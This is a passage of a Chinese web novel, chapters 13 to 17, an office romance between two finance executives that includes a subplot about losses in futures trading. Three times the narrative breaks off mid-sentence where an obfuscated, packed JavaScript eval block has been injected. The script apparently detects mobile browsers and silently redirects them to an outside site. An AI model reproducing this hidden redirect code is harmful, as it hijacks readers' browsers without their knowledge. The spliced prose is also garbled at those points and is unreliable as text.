一夜过去,外汇投资部的操盘手全都累得够呛,有的窝在座位上,有的去了休息室,无一例外都在补觉。戚时安仍坚守在操盘室,犯困的时候就翻出他妈和其他阿姨的聊天记录看看,能乐精神了。 “戚先生,您也去休息会儿吧,我们盯着。” “没事儿,你们吃早饭去吧,我等会儿直接回三十层。”戚时安坐在原位没动,几个钟头了,外汇市场的行情东变西改,频频波动。 快到上班时间,等其他同事吃完早餐回来后,戚时安才走。他穿着衬衫牛仔裤,和整栋大楼有些格格不入,但熬多半夜还要西装领带的话,他绝对马上告别金融界。 “叮”的一声,电梯门缓缓打开,戚时安刚打完哈欠,抬眼看到了里面的沈多意。 沈多意有一瞬的惊讶,没想到戚时安会这个时间出现在这个楼层,还穿得这么随便。等他回过神,戚时安已经进入电梯站在了他旁边。 不止站他旁边,还问:“找我?” 沈多意反问:“你怎么知道?” 戚时安无语地笑:“你按的三十层。” 说话的工夫已经到了,沈多意跟着戚时安进了办公室,他看对方神情疲倦,于是想速战速决。走到桌前从包里拿出那个本子,直截了当地说:“希望你会喜欢。” 戚时安愣了一瞬,没想到沈多意要礼尚往来。 可沈多意已经把本子递到了他的面前,继续道:“这是我去年在日本出差的时候买的,我一直用着另一个磨砂的,这个封皮稍微亮一点,比较奢华,纸也很好写。” 戚时安被对方这副推销的认真样儿逗笑了,接过本子说:“谢谢,我很喜欢。送你的钢笔呢,用着还习惯吗?” “嗯,挺好用的。”沈多意把手伸进包里摸索,“我带了,准备以后签名用。” 戚时安停顿片刻后翻开本子的封皮,盯着扉页说:“你帮我写上名字吧。” 沈多意接过:“好,写中间还是靠下一些?” 他把本子平放在桌上,一手按着,一手下笔,俯身弯腰时额前的头发轻轻垂着,笔尖划过,他仔细又快速地写下了三个字。 戚时安侧身一看,微微发怔:“你干吗写你的名儿?” 14. 第 14 章 刚刚当作回礼送出的记事本,扉页上赫然写着“沈多意”三个字。沈多意本人仍弯着腰,愣乎乎地抬头看向戚时安:“这怎么办,我一顺手就写错了……” 戚时安憋着笑,把本子从对方手底下抽出来,他看着那几笔字说:“书写很漂亮,名字很好听,写的人我也挺喜欢。” 沈多意脸上一红,虽然戚时安不在意,可他真的感觉有些窘促,此时又增添了几分不好意思。戚时安不欲再逗他,把本子一合安放在书桌中央,最后安慰道:“打开的时候就会想起你了,要不把我的名字也写你本儿上?” 戚时安自以为这是安慰,可说完后沈多意脸上的红丝毫未退,他硬着头皮回道:“我用钢笔的时候也会想起你的。” “那你一定要每天都用。”戚时安很困,很想睡觉,眼中的疲倦渐渐浓郁,但始终盖不过笑意。沈多意要回部门做事了,拿起包询问道:“你要回家休息吗?” 戚时安摇摇头,装可怜似的诉苦:“还要和游哲开会,累死我了。” “介绍我来的游先生?” 沈多意转移话题,他总觉得戚时安想让他开口哄两句,或者再废话一会儿,便当真又加了一句:“我有两篇论文还在游先生那儿呢。” 戚时安说:“那我帮你讨回来,下班前找我要。” 上班时间已经到了,沈多意离开三十层回咨询部,戚时安在去见游哲之前想要补个觉。他躺在沙发上,闭眼就见了周公。 办公室里间搁着几身备用换洗的西装,安妮轻手轻脚地走进来,提前帮戚时安挑选好。即便动作一再放轻,但高跟鞋的声音仍无法消除,她提心吊胆地望了眼躺在沙发上的人,庆幸对方睡得足够沉。 不算舒服的姿势,不算宽裕的时间,在这等恶劣条件下戚时安补充了点能量。他甚至没定闹钟,到了时间自然而然地睁开了眼,洗漱完换上西装,然后利索地离开了三十层。 哲思金融离明安很近,都在中央街上,司机驾驶的速度不快,说:“戚先生,把您送过到哲思金融后,我就去保养车,您有什么需要车行改的吗?” 戚时安想了想:“没有,跟他们说我要订辆迈凯伦,把内饰材料拿回来,我有空了选选。” 哲思金融的员工差不多都认识戚时安,因为他经常来和游哲开会谈事情。游哲的秘书已经在一楼大厅等他了,一路上把今天会议要谈的内容概括了一遍。 他们俩开会异常放松,就在游哲的办公室。茶几上咖啡和水果都准备好了,两个人各自占据沙发一角,图表资料直接投影到墙上,聊到哪算哪。 “你这景气指数什么时候的,我早上看不是这个数。”戚时安微微蹙眉,有些嫌弃,“不过也差不多,都在五十以下。” 游哲说:“你们公司中长线客户多么,现在处于空仓等待期,跟淡季似的。” “多着呢,但我们不淡季。”戚时安不知道在得意什么,“股票淡季就撺掇大家玩期货呗,回去说一下,我们沈组长估计明天就能出份应接方案。” “沈组长?沈多意么?”游哲说,“我都忘了,他工作能力不错,但当时职位只有一个,降一级的话他肯定不乐意,所以我干脆介绍给你们了。” 游哲说完又回到原本的话题上:“期货可以,不过我更倾向于往外汇上面拉,未来几年外汇有大发展,你觉得呢?” 戚时安点点头:“废话,我后半夜都奉献给外汇市场了。不过有大发展是很诱人,但复杂度和操作难度也很赶人,不太好做。” 这场聊天式的会议一直持续到了中午,吃过饭稍作休息后继续研究,进行到最后时,游哲看着手表说:“上回我通宵,没一起喝成酒,晚上去东京酒吧喝两杯?” “下次吧,我昨晚没怎么睡。”戚时安还惦记着沈多意的论文,“对了,沈多意面试的时候有两篇论文在你这儿,我拿回去看看。” 游哲去办公桌抽屉里翻找,先翻出了一份,戚时安拿起一看:“这是游思的,你给她做枪手了?” “想哪去了,她让我点评。”游哲终于找到了沈多意的论文。戚时安接过放进包里,没再多待,走之前说:“我下个月去悉尼出差,你让她准备好请我吃饭。” 戚时安溜达着回了明安,再有两个钟头就要下班了,本想直接回家睡觉,但他承诺了帮沈多意拿论文,于是乖乖上了三十层等着。 咨询部里齐组长在给高级顾问做培训,沈多意旁听,他是新来的,这种活应该他揽下,所以熟悉这一回,以后就是他负责了。 培训结束正好下班,他打去三十层,问:“安妮,戚先生走了吗?” “还没有,章先生也在。” 沈多意估计章以明找戚时安有事,便不急着收拾东西了。等部门里其他同事走得差不多后,他才不紧不慢地上了楼。 没想到章以明还在,办公室开着门,沈多意在门口就能听见里面的说话声。戚时安瞥见了门口的身影,招手道:“沈组长,进来吧。” 沈多意说:“不耽误您和章先生谈事情吧?” “我们谈完了,闲聊呢。”章以明从椅子上站起身,看样子准备离开,临走对戚时安说道,“下个月就去悉尼见你的青梅竹马了,我还得坚守工作岗位,我这么惨,你就把那辆迈凯伦让给我吧。” 戚时安烦道:“要不你去出差,我坚守工作岗位?” 章以明可舍不得这里的男朋友和女朋友,于是又牢骚了两句便走了。沈多意候在旁边听了个一知半解,不过他无心八卦,也不怎么好奇。 谁知等办公室只剩下他们两个人后,戚时安第一句就是解释:“我下个月去悉尼出差,游哲的爸妈还有妹妹都在那边,也算青梅竹马吧,我们几个都是发小。” 他说完觉得有些太过在意,一时不知道再说点什么。沈多意却笑眯眯地开口:“我也有个发小,从小一起长大的,他现在是娱乐公司的高层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727249|189514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你要是有喜欢的明星,我可以帮你要签名。” 那语气和表情很是自豪,仿佛在介绍感情要好的“自己人”,戚时安不至于吃味儿,但还是有点别扭地回道:“不用了,我弟弟成天吵着要做明星,已经快烦死了。” 沈多意笑得更加高兴:“弟弟烦,帮阿姨炒股也烦,你有什么不烦的啊?” 这绝不是下属对上司讲话的语气,戚时安觉得沈多意已经完全放松了自己,他拿出那两份论文,称赞道:“逐字看完都不觉得烦,倒是希望再长一点。” 沈多意走到桌前:“谢谢,其实有几个观点还需要完善。” 已经下班很久了,明安大楼内的员工估计也不剩几个,他们两个隔着办公桌互相输送只言片语,谁也没注意钟表上的走针位置。 戚时安腹内空虚,给对方下套:“你之前在保险公司做事,设计了不少热线产品,能不能免费让我咨询一下?” 沈多意非常实在,直接问:“你想买给谁?” “我爸妈吧,上点岁数买保险图个保障。”戚时安边说边收拾东西,把要带走的装进包里。沈多意脑子转得很快,立即分析道:“我记得你家住在干休所,如果叔叔阿姨都是部队上的,那养老和看病这两方面不用担心,有意愿的话买份中老年人的综合医疗险就行。” 他继续道:“其实险种方面很多很杂,高端产品推出的也越来越五花八门。但核心其实都大同小异,无非是针对受众的经济实力做出了划分,你真的有兴趣的话,我回家找点资料拿给你。” 认真帮忙的沈多意很迷人,至少戚时安这么认为。他已经收拾好东西,起身和对方一同离开了办公室。进入电梯以后,沈多意扭着头说:“既然已经啰嗦了这么多,干脆再替我师妹推销一下,有个适合年轻人的‘智行人生’是她设计的,其中覆盖了几十种重大疾病,很受欢迎。” 戚时安重点瞬偏:“是和你相亲的那个师妹?” “嗯,是她。”沈多意浑然未觉,仍满腔热情地说着,“那款保险就是针对年轻人的,现在上班族压力都很大,也算突发性疾病的高发人群了。” 那副自说自话的模样格外天真,戚时安哪还有心思瞎琢磨,他接道:“这么看来我应该买啊,整天加班盯盘熬通宵,很有可能哪天就猝死了。” 沈多意说:“那你就买‘智行人生’吧,挺合适的。” “可我要是猝死了,赔钱还有什么用啊,我又不能花。”戚时安真诚发问。 沈多意回答:“看你填的受益人是谁,如果填自己,生病的话会赔偿医疗费用,如果是意外死亡,那保金会直接赔付给你的家人。” 电梯到了一楼,戚时安先迈出一步挡住了门口。 “赔付给家人的话,第一顺位是谁?” 沈多意说:“是你的伴侣。” 戚时安盯着他:“看来得先找个伴侣,那你晚上能和我做个伴,一起吃晚饭吗?” 15. 第 15 章 似乎前面那些话都是为这句问题准备的,沈多意终于发觉一直被对方引导着,他有些气闷,满腔热情地又分析又推荐,觉得浪费了口舌,又有些无奈,好像不答应的话戚时安就堵着门口不让他出去。 戚时安洞察了沈多意在想什么,解释说:“我真的准备买,不会让你白废话的。” “那还算说得过去。”既然如此,沈多意就不气也不闷了,认命地问,“那去哪儿吃晚饭啊?” 戚时安立刻闪开了门口:“上次的夏天餐厅怎么样,要不还去那儿?”沈多意出来,和对方一起往停车场走,回答道:“都好,我不挑的。” 车被司机送到车行保养了,而且戚时安几乎连轴转了两天一夜,按规定不能疲劳驾驶,于是他再次坐进了黑色大众的副驾上。沈多意发动车子驶离中央街街尾,路上基本没出过声,偶尔右拐时瞥见戚时安在座位上打哈欠。 “很困吗?” “还行,你又不理我。” “我平时很少载人,偶尔载我爷爷出门,也是听他唠叨。” “经常听你提起你爷爷,老人家身体好吗?”戚时安觉得沈多意应该是个很孝顺的人,也觉得对方面对老人时肯定特别温柔。 沈多意回答:“还行吧,七十多岁的老人多少都会有点病痛,降压药吃了十几年,腿脚不太利索,别的方面都还可以。” 他说着拧开了音响,然后来回戳了几下:“听音乐吗?我爷爷喜欢听戏,我就给他下载了几段,好歹有个动静。” 一段戏曲流淌出来,光前奏就十分悠长,待到女声响起,戚时安觉得更困了,他没话找话:“张继青老师的《牡丹亭》,离魂那篇吧。” 沈多意惊讶道:“你还了解戏曲吗?” “只了解有名的。”戚时安已经看见了夏天餐厅的牌子,“吃饭的时候再给你讲。” 上次举办欢迎会是在三四层,这次两个人去了五层,五层是欧餐自助,晚上人不多,四周很安静。他们靠着窗户坐下,双层玻璃窗之间是循环下落的水幕,隔着水幕隐隐约约能望到对面的街景。 “先生,需要帮您取餐吗?” 沈多意洗完手直接自己取了,戚时安犯懒,在座位上查看外汇指数图,顺便等着服务生帮他。直到食物摆满了餐桌,他才把手机调了静音放好。 沈多意已经见识过对方的饭量,他吃着几根烤芦笋,顺便不着痕迹地把一盘羊肋排推给戚时安,意思是“多吃点”。 戚时安把这顿饭当作约会,果腹的问题压根儿就不在考虑范围,他关心道:“好吃吗?” “嗯,好吃。”沈多意组织语言,也在纠结坦诚一些还是保留一些,“其实我应酬不多,除了公司聚餐和朋友见面,很少出来吃。” 虽然现在薪水负担得起,但好像生活习惯已经定型,并不太会享受。这句有点不好意思,沈多意没有说出口。戚时安在对方垂着眼的表情里读出了百般滋味,他想起沈多意喝咖啡要加许多奶,便把面前一小碟递过去:“尝尝这个。” 沈多意尝了一口:“好甜啊。” “这个是爱尔兰蛋糖脆皮卷,招牌甜点。”戚时安看沈多意一口一口挖着蛋糕,“外国菜名字长,但来来回回本质都差不多,我自己住不在家吃,最喜欢的其实是家常菜。” 沈多意打趣道:“你最喜欢的不是喝酒吗?” 戚时安乐了:“你又听谁造谣的?” “同事都说啊。”沈多意也跟着笑,“说公司两个高级合伙人,章先生睁眼闭眼都在恋爱分手,戚先生春秋冬夏都在盯盘喝酒。” 戚时安把责任归咎于东京酒吧的选址上,要不是离公司太近,他哪至于被人看见再议论几番。听着沈多意的挖苦,他配合地晃动杯中的酒喝了一口。 喝完说:“什么时候再请我喝回黄油啤酒?” 沈多意怔了片刻,唯恐戚时安把话题引入暧昧的境地,他吃完了最后一口蛋糕,倏然聊回车上的话题:“你还没讲,了解哪些戏曲呢。” 戚时安学过格斗,打过枪,精于多项运动,也曾沉迷于网络游戏。疲倦时喜欢栽倒在床睡一大觉,无聊时喜欢泡在酒吧呲哒酒保,除了每年春节陪他姥爷看春晚,平时几乎和戏曲毫无接触。 “留学那几年学校办过一次文化交流活动,中国留学生就选了戏曲这方面。”他看沈多意已经放下刀叉,便也跟着结束了进餐,“当时收集了好多资料,连听带看就记住了一些,不过只知道有名的选段。” 聊着天离开了餐厅,坐进车里时正好话题结束。今天天气还不错,能分辨出几点寥落的星光,夜深车少,戚时安把他的住址输进导航中,估计不多时就到了。 沈多意又拧开音响,没唱完的《牡丹亭》再次流淌出来,他握着方向盘在马路上驰骋,手指轻点,不自觉地打着拍子。 每个字都唱好久,半天才唱完一句,口音的缘故有些字甚至听不清楚。他想起沈老总跟着瞎哼哼,笑道:“我爷爷说听戏能磨性子,老半天蹦一个字,是涨耐心的。” 旁边的人丝毫没有动静,沈多意转脸望去,发现戚时安已经闭着眼睡着了。通宵盯盘又开了多半天会,下了班不回家还要拉着他吃饭,估计早就疲累至极了。 按照导航抵达了公寓外,沈多意靠街边停下,想等戚时安醒来。等了十分钟,那人仿佛越睡越沉,他只好轻轻拍了拍对方的肩膀,“戚先生,到家了。” 戚时安的确困倦非常,以至于睁开眼的时候忘了今夕何夕,只想把视线变成一张密网,然后把当中的沈多意扎扎实实的束缚起来。 《牡丹亭》终于唱完了最后一字,凄凄女声也总算停止。 戚时安声色喑哑:“你最喜欢哪一句?” 《牡丹亭》中的名句不胜枚举,单单就“情不知所起”那几句就能叨念出一篇文章,可沈多意对这些并无触动,他最喜欢的是那句——但愿那月落重生灯再红。 因为他很小就知道,人总要有希望在的。 晚餐吃得很饱,聊的内容也很开心,沈多意不想在最后这刻提绝望与希望互相参半的句子。他久久没有回答,只装作不懂戚时安的问题,殊不知神情眼色早出卖了他。 戚时安不欲逼问,解了安全带后掏出手机,然后拨出了号 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727250|189514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 码。等沈多意放在仪表台上的手机振动起来,他说:“一直没告诉你我的号码,存起来吧。” 戚时安说完便开门下车,径直朝公寓大门走去,街边的树把路灯遮住,没几步就看不见了人影。沈多意保存了号码,启动车子调头回家。 据说一个城市的经济发展情况,看夜景就能判断出来。此时街道阑干,每座高楼屋厦都流光溢彩,霓虹灯竟显得有些多余。不起眼的黑色大众行驶在马路上,不算宽敞的车厢被照得明亮起来。 沈多意在繁华的夜景中驶进了温湖公寓,当进入停车场后便要承担巨大的落差。停车场内声控灯的灯光有点暗淡,四周都是车,也丝毫没有美感。 一点点开进空车位里,沈多意熄火拔下了钥匙。他想起那次和戚时安在夏天餐厅争执,回来后坐在车里自我疏导,今天也是去的夏天餐厅,心情却是千差万别,他甚至还记得蛋糖脆皮卷的甜香味道。 “啪嗒”一声,安全带被解开抽出,停车场内的灯也同时灭了。 四周陷入黑暗与安静之中,只余自己的呼吸声。沈多意把手伸向仪表台,摸索扔在上面的手机,他不怕黑,不怕静,但怕这样的氛围销毁他今晚的好心情。 终于摸到了手机,他立刻按亮屏幕,却发现有条途中发来的信息。 黑暗仍未褪去,安静也未被任何声响打破,那天沈多意趴在方向盘上对着电话倾诉,此刻他握着手机对着屏幕发怔。 戚时安太过疲倦,进门连大灯都懒得开,直奔浴室洗澡刷牙,速战速决后便栽倒在床见了周公。他连着做了好几个残缺不全的梦,跟喝断片了似的。 梦里开会,会议桌上的烟灰缸里积满了烟屁股,他不是已经戒了吗?电脑和投影仪一并发出恼人的声响,两侧的操盘手全都神色凝重,他转头看了眼最新行情。 妈的,外汇市场全线崩盘了。 他刚要发火,场景已经变了,他去车行提那辆迈凯伦,发现沈多意送车子来维修,于是开走迈凯伦的同时,把沈多意也拉走了。 绕着中央街兜了一遭,沈多意又说想吃夏天餐厅的蛋糕。 整个五层只有他们俩人,沈多意专注地啃着碟子中的脆皮卷,他坐在对面喝着一杯黄油啤酒。喝到酒杯见底,他终于忍不住问道:“一口也不给我吃啊?” 沈多意觉得抱歉,倾身把最后一块喂进了他嘴里。 厚实的窗帘没拉,月光淌了满屋,戚时安陷在床褥中酣睡,眉头也从紧皱逐渐舒展开来,时不时地还迸出一两句呓语。 沈多意也忘了拉窗帘,虽然他的窗帘拉上也不顶多少事。凌晨三点多了,床头小灯还没休息,他靠着枕头发呆,不知道自己熬红了眼睛。 闭上眼都是那条信息,像一组他难以厘清的大数据,在他脑海中毫无秩序的穿行。他明明什么都没说,为什么戚时安却好像什么都知道。 天蒙蒙亮,沈多意终于撑不住了,眼皮阖上沉沉入睡。枕边的手机屏幕由亮变暗,屏幕中那行字已被看了无数遍。 是戚时安发给他的第一条信息。 “想陪你看月落重生灯再红。” 16. 第 16 章 沈老昨晚睡前还没等到孙子回来,于是早早起来想看对方是否无恙,毕竟年轻人工作压力大,应酬更是伤身。 前一晚窗帘没拉,后半夜又下起了雨,因此即便已经将近十点,屋内仍旧没有阳光照射。沈多意趴在床中央做梦,脸也埋在两个枕头之间的缝隙里,睡裤和被子都纵上去一截,小腿明晃晃的露着,估计冻得冰凉。 沈老走近给孙子拽了拽被子,然后悄悄关上门去了厨房。家里没菜了,他腿脚不利索,下着雨行动更慢,于是在冰箱贴下面找了张外卖卡片。 沈多意头脑昏沉,恍惚间听见有人在客厅报菜名,用意识喊了声“爷爷”,但实际上没发出任何动静。翻了个身,又睡着了。 “要小米粥,加蜜枣。”沈老一手拿着老人机,一手捏着卡片,“蒸鱼是鲤鱼?那不要了,刺儿多,我孙子不爱吃,再加个空心菜吧,少搁盐。” 老爷子头一回叫外卖,心里还有些紧张,拄着拐棍在玄关处来回踱步,生怕人家按门铃他听不见。再次睡去的沈多意被拐棍杵在地板上的声音吵醒了,他本来还是很困,想看看时间便摸出手机,等屏幕一亮那条信息的页面跃至眼前,他的困意终于消散干净。 洗漱完外卖也到了,沈老不能吃太甜,于是把自己粥里的蜜枣全给了他,他喝了碗齁甜的小米粥,忍不住又剥了根火腿肠。 雨还没停,屋里冷飕飕的,沈多意盖着毯子在沙发上看重播的电视剧,刚认全主要人物就被沈老剧透了大结局。他无奈道:“爷爷,你都告诉我了,我看着还有什么意思啊。” “这不是省得你费心吗?”沈老起身,慢腾腾地回屋,边走边叨念着,“演的都是家长里短的琐事,提前知道了也没妨碍。” 客厅只余下沈多意一个人,他把电视关了,然后扭头望着窗外的雨。家长里短的琐事,他最羡慕的就是别人家麻烦又折腾的琐事,天冷了妈妈要逼着穿厚外套,到岁数了爸爸就撺掇着赶紧考驾照,有点什么事儿一家人都要商量商量。 一地鸡毛,偏偏他这里空空荡荡。 沈多意格外擅长自省,每当他稍不留神沉浸在消极之中,都会迅速让自己调节正常。可能今天阴雨连绵,气氛实在过于到位,所以他调节起来有些吃力。 好在来电铃声拯救了他,他像抓住救星抛来的树枝一样,立刻按下了接听键:“孟良,找我有事吗?” 对方听语气就知道神采奕奕,仿佛电话那边是个艳阳高照的大晴天。孟良兴奋地说:“师兄,其实我前一阵买了两支股票,最近抛售赚了一点,想试试期货,你给我出出主意?” 沈多意被对方的情绪感染,笑着问:“不止赚了一点吧?” “低调低调。”孟良没有否认,“我就是炒着玩儿,也没想烦你,毕竟股市这东西谁也不能完全摸准,但是期货我实在不懂,你帮我看看呗。” 孟良说的没错,股市这东西没有定律,如果问了沈多意结果赔钱,难免尴尬。沈多意明白,于是迅速整理了思路,把期货方面的事项和孟良介绍了一遍。 聊到最后,孟良开始吐露心得:“师兄,你是不知道,炒股真的能解压。” 沈多意不信:“炒股压力才大吧?” “当作兴趣娱乐就好。”孟良说,“我闲下来都没空想烦心事了,光顾着看行情,连视力都变好了,那么小的字我一下就能找到自己那支股。” 沈多意被逗得歪在沙发上乐:“让你说得我都动心了。” 孟良立刻煽风点火:“你们公司估计保洁阿姨都炒股吧,也就你一个例外了。现成的数据库,整部门的专业人士,想赔都挺费劲的。” “真的假的啊,”沈多意耳根子软,不禁劝,挂断电话后便开始琢磨起来。前几天开会刚说了几支前景看好的重点股,镁概念股戚时安甚至说了操作事项,他越想越动心,直到天空劈下一道闷雷才把他震醒回神。 回神后更觉着迷,刚才只是想想就忘记了伤春悲秋,要真的买进几支岂不是跟吃了忘忧草一样?沈多意不是吃了忘忧草,估计是甜粥喝撑了,完全忘记不久前,戚时安才骂过炒股赔钱的几块废物点心。 本来有些沉闷的周末氛围突变,沈多意在孟良的鼓动下投入了新的消遣之中。而且他深知鸡蛋不能全部放在一个篮子里,也不能新手上路贡献太多鸡蛋,于是二十万买进两支股票,十五万拿去炒期货了,至于外汇实在太复杂,他没有冒险。 戚时安的那条信息就这样石沉大海,连回音都寻不到踪迹,不过他本来也没打算让沈多意回复什么,只是单纯表达自己的态度而已。 休息够了,他在家收拾行李,因为马上就要去悉尼出差。 投资市场就像一个游乐园,吸引淘乐者无数,让他们体验各种各样的刺激,可能会产生不良反应,也可能会获取极大快/感,但投资市场本身是不承担责任的。沈多意已经被吸引了,新手上路总是格外小心,恨不得五分钟看一次行情,估计过几天就没那么大热情了。 中央街两旁的大楼全都笼罩在毛毛细雨中,戚时安来得很早,进办公室后的第一件事就是擦拭皮鞋上的小水滴。 安妮敲门进来,精神格外抖擞地说:“戚先生,想跟您确认下悉尼出差的事项,您现在有空吗?” 戚时安不抬头也知道对方穿了件新衣服,不过不知道就安妮这样,还是女孩子都这样,新买件中意的衣服穿上,哪怕下暴雨,心情也是美滋滋的。 他把擦过鞋子的纸巾扔进环保袋:“有空,你说吧。” “航班是明天下午,您不来公司,直接从家里出发。”安妮拿着本子,“抵达后直接下榻于范思哲酒店,会议部分也都在酒店进行,其他部分那边公司的秘书会进行接洽。” 安妮说完询问道:“您计划哪天回来?” 戚时安想了想:“一周吧,在那儿多待三天。” “好的,需要换酒店吗?” “换,猎人谷一天,岩石区两天,忙完我要去玩儿。”戚时安想起了游哲爸妈和游思,“车也一起订好,我还得串个门。” 出差的事安排完,戚时安开始工作,七八天不在,等回来时桌上就又堆满了,跟高三生请假两天再回到学校的场景差不多。他抓紧时间想多做一点,减轻后续的工作量。 一整天没怎么离开办公室,下班前才去外汇部转了转,转完又想再去期货部看一眼。从电梯里出来,还是那条长长的走廊,不过今天没太阳,不如平时好看。 戚时安脚步微顿,看见了从期货部出来的沈多意,和那天的场景似乎很像。沈多意低头看着手机,对周围的人事全然未觉,他毫无停顿地往前走着,大喇喇地经过了戚时安身边。 “沈组长。”戚时安皱眉叫了一声。 但沈多意没理他。 “沈组长?”戚时安没放弃,觉得这位员工恃靓而骄有些过分,不主动打招呼就罢了,居然还不回应,“沈组长!” “哎!” 沈多意吓了一跳,惊慌之下赶忙应了一声,他刚才看股票看得太过投入,什么都没注意。回身见戚时安站在不远处,期货部还有同事下班出来,从旁边经过。 他快步折返回去,理亏心虚地询问道:“戚先生,有事吗?” 戚时安没好气地说:“看不见也听不见,你有事吧?” 上班时间看自己的期货行情,还去向同事讨教,这等于利用公司资源干私活,沈多意哪敢如实交代,小声撒谎道:“我在看客户信息。” 他没有纯情到撒个谎还脸红心跳,但戚时安洞察的目光飘来,仍令他有些招架不住,于是想快点离开,补充说:“雨天不好走,我可以下班了吗?” 戚时安没有拆穿,叮嘱道:“好好看路,别撞墙上。” 沈多意点完头就撤,走了几步又被喊住,他再次回身,不知道对方还有什么事情。戚时安道:“我明天出差,走七八天。” “那……您辛苦了。”沈多意憋出这么一句,基本敲碎了本来就没多少的旖旎。 戚时安说:“已经知道我的号码了,有事情就打给我。” 两个人朝两个方向走去,离得越来越远,沈多意下班了,系在股票上的心思减轻了不少,那张慕尼黑栗子摊儿的照片反而盘旋脑海。他开着车忍不住想,戚时安这次去悉尼,会不会发给他一张烤红薯摊儿的照片。 等红灯的时候自己傻笑,猜测澳洲人民爱不爱吃烤红薯。 戚时安像一名操心的班主任,出差前要去几个部门转一遍叮嘱几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727251|189514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句,时间充裕的话甚至还想做做安排。第二天下午没等晒到初晴的阳光就登机了,十来个钟头的飞行还是那份熟悉的漫长,他决定选选新车的内饰材料,以此打发时间。 气氛灯要暖黄灯光。 中控台要金属包边。 仪表台要深棕木纹。 座椅要全真皮掩盖。 音响里……要有《牡丹亭》选段。 戚时安拉下隔光板,然后进入睡眠,预计再睁眼时正好抵达黄金海岸。高空的压力冲击着耳膜,他睡得不是很安稳,但是浅浅的梦境很香甜。 十几个小时倏然而过,飞机降落在大洋彼岸。 范思哲酒店华丽到刺眼,整个大厅都笼罩在一大片金色里,毫无含蓄的美感,如果不是工作安排戚时安是不会住的。他喜欢庄重有年头的东西,所以时常怀念市里的老国宾酒店。 装修了很多年的套房稍好一些,没那么浮夸,他放下行李先游了一圈放松身体,准备吃点东西就开始准备会议。 同一时间,期货市场掀了把小火,甲醇价格暴涨,每分钟开多单的人数难以计算。 “师兄,你有没有大力加仓啊?” “没有,再加就满了,期货不可以满仓操作。”沈多意解释,“股票我也不建议满仓,太过冒险,咱们的主旨不是娱乐吗,又不是追求暴利。” 孟良说:“那你赚了钱想怎么娱乐?” 沈多意想了想:“带我爷爷还有我发小的爸妈去旅游吧,等有假期的时候。” 计划永远赶不上变化,甲醇的势头良好,于是沈多意没再那么关注,也可能因为过了刚开始的几天,热情渐渐消退。 就在他以为暴涨结束顺利进入平稳期的时候,期货市场迎来了一瓢大雨。 沈多意太知道赚钱不易了,所以面对本金十五万变成现在的一万五时,内心的高塔隐隐开始崩溃。偏偏沈老爷子在他旁边念叨,小区里谁家奶奶被骗了十几万。 之前加仓的买家基本全军覆没,他不过是其中一粒小小的沙土。 “爷爷……”沈多意捂着心口,“你早点睡吧,别聊了。” 沈老爷子不满道:“让你陪我说会儿话就嫌烦。” 沈多意等老爷子回房间后便开始研究行情变化,投资赔赚都是常事,他接受得了,顶多惊心片刻。可让他心慌的是忽然琢磨不定的走势,投资市场有如一头野兽,任何规律步骤都无法将它束缚。 “已经知道我的号码了,有事情就打给我。” 沈多意猛然想起戚时安的叮嘱,他拿起手机有些犹豫,但当价位再次下跌后,他终于按下了拨号键。 连续几天的会议和应酬实在腻人,戚时安终于有空在黄金海岸冲个浪。他刚租好冲浪板,所以铃声响起时想假装没有听见,生怕又被拉回去做事。 最终理智还是战胜了任性,把手机从防水袋中取出来,屏幕上闪着沈多意的名字。戚时安接通,靠着冲浪板“喂”了一声。 “戚先生,您现在忙吗?”沈多意率先询问,盯盘开口带着些紧张。 戚时安望着海面上卷起的浪花,马上将迎来最好的下水机会,但却回道:“不忙,怎么了?” 沈多意放松了一些:“我之前想试试期货,但是遇到点困难。” 他说着说着话就多了,求人帮忙也不知不觉变成了倾诉,“是不是医者难自医,我觉得自己掌握不好,之前暴涨现在又暴跌,连过渡都没有,短线和中长线都不好过,走势很奇怪,我不知道该怎么预估了,而且现在止损好像和放弃没什么区别。” 戚时安在一片阳光沙滩中听沈多意念叨,等对方最后一句说完,他指示道:“现在去喝杯牛奶,别那么伤神。” 电话挂断,海面上的浪扑地掀天,无数冲浪爱好者抱着滑板奔向水中,带着尖叫和满身阳光。戚时安欣赏了两秒,然后退掉滑板,准备返回房间开电脑。 牛奶顺着喉咙流进胃里,沈多意彻底平静了下来,也开始懊悔刚才的失态。就在他以为戚时安以这种安抚方式暂时婉拒了他的求助后,电脑屏幕忽然闪烁起来。 视频连线的请求在正中间跳动,像一片小星星。 沈多意轻轻点了“接受”,忽然很想看见对方的脸。 17. 第 17 章 